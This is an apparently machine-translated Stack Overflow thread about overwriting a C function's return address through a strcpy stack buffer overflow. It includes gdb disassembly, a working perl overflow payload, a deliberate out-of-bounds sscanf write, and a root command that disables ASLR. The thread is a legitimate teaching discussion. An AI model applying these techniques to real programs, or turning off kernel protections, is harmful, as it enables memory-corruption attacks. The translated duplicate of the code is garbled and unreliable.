C代码如何更改代码中的返回地址?

C代码如何更改代码中的返回地址?,c,buffer-overflow,exploit,C,Buffer Overflow,Exploit,我刚刚写了一个C代码,如下所示: #include<stdio.h> #include<string.h> void func(char *str) { char buffer[24]; int *ret; strcpy(buffer,str); } int main(int argc,char **argv) { int x; x=0; func(argv[1]);

我刚刚写了一个C代码,如下所示:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}
#包括
#包括
void func(字符*str)
{
字符缓冲区[24];
int*ret;
strcpy(缓冲区,str);
}
int main(int argc,字符**argv)
{
int x;
x=0;
func(argv[1]);
x=1;
printf(“\nx为1\n”);
printf(“\nx为0\n\n”);
}
请告诉我如何跳过printf(“\nx为1\n”)行。前面我得到的线索是修改ret变量,它是函数func的返回地址

您能建议我如何更改上述程序中的返回地址,以便printf(“\nx为1\n”)被跳过

我发布了这个问题,因为我不知道如何更改回信地址

如果你能帮我,那就太好了


感谢我所理解的,您希望代码执行指令
x=1
然后跳转到下一个printf,这样它将只打印
x为0
没有办法做到这一点。

但是,可以做的是让func()擦除它自己的返回地址,这样代码就会直接跳到
printf(“\nx是0\n\n”)。这意味着跳过
x=1也是

这只有在将通过cmd行传递的内容发送到func()并直接复制到固定大小的缓冲区时才可能。如果您试图复制的字符串大于分配的缓冲区,则可能会破坏堆栈,并可能覆盖函数的返回地址

有很多关于这个主题的好书,我建议你读一读

在gdb上加载应用程序并反汇编主函数,您将看到类似的内容:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.
这将成功覆盖缓冲区,并将返回地址替换为我希望它跳转到的地址:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)
我不会解释其中的每一步,因为其他人已经做得更好了,但是如果您想直接从cmd行复制此行为,可以执行以下操作:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
请记住,gdb向您报告的内存地址可能与我得到的内存地址不同

注意:要想让这项技术发挥作用,您必须先禁用内核保护。但如果下面的命令报告的内容与0不同:

cat /proc/sys/kernel/randomize_va_space
要禁用它,您需要超级用户访问:

echo 0 > /proc/sys/kernel/randomize_va_space

这是不可能的——如果你知道编译器及其工作原理、生成的汇编代码、使用的库、体系结构、cpu、系统环境和明天的彩票号码,这是可能的——如果你有这些知识,你就足够聪明,不会问。唯一有意义的情况是当有人尝试某种攻击时,不要期望有人愿意帮助您。

func
的返回地址位于堆栈上,就在其局部变量附近(其中一个是
缓冲区
)。如果要覆盖返回地址,则必须写入数组末尾(可能写入
buffer[24…27]
,但我可能弄错了-可能是
buffer[28…31]
或者如果您有64位系统,甚至是
buffer[24…31]
)。我建议使用调试器来找出确切的地址

顺便说一句,去掉
ret
变量-如果你把它放在身边,你将一事无成,这可能会混淆你的计算

请注意,这种“缓冲区溢出攻击”有点难以调试,因为当遇到零字节时,
strcpy
会停止复制内容,并且您要写入堆栈的地址可能包含这样一个字节。这样做会更容易:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

并在命令行上以十六进制字符串的形式给出地址。这使您可以更清楚地了解要执行的操作,并且更易于调试。

危险!这可能不是你想做的。这会给你带来太多问题。你的代码毫无意义。。。你想做什么?除了恶意代码,没有人需要按照你的要求去做。请想出一个不同的设计。你想做什么还不清楚。您是否希望有一个单独的程序来执行此操作?我们是在谈论开发软件吗?外壳代码?这太危险了
strcpy(缓冲区,str)
`你想做类似的事情吗?我认为理解缓冲区溢出是如何工作的很重要,特别是如果你用C语言编程,所以提供帮助很重要!我不得不查一下,但似乎普遍的共识是黑帽问题是可以的。不可能确定意图,所以只需假设安全漏洞问题背后有防御目的。请参阅:和。@anatolyg:可能,可能不是这会导致缓冲区溢出,这在很大程度上取决于使用的体系结构-想象一下哈佛体系结构或新的堆栈崩溃保护机制,编译器可以内联它(或优化它),如此多的可能性,如此无意义的问题。在我看来,当他想知道一些关于缓冲区溢出的事情时,他应该问一下。我们中的一些人可能正试图了解这是如何工作的,以便真正修复bug。并不是每个人都是恶意的。您能解释一下您是如何编写以下内容的:print“123456aaaaaaaaa”x1、\x49\x84\x04\x08
void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}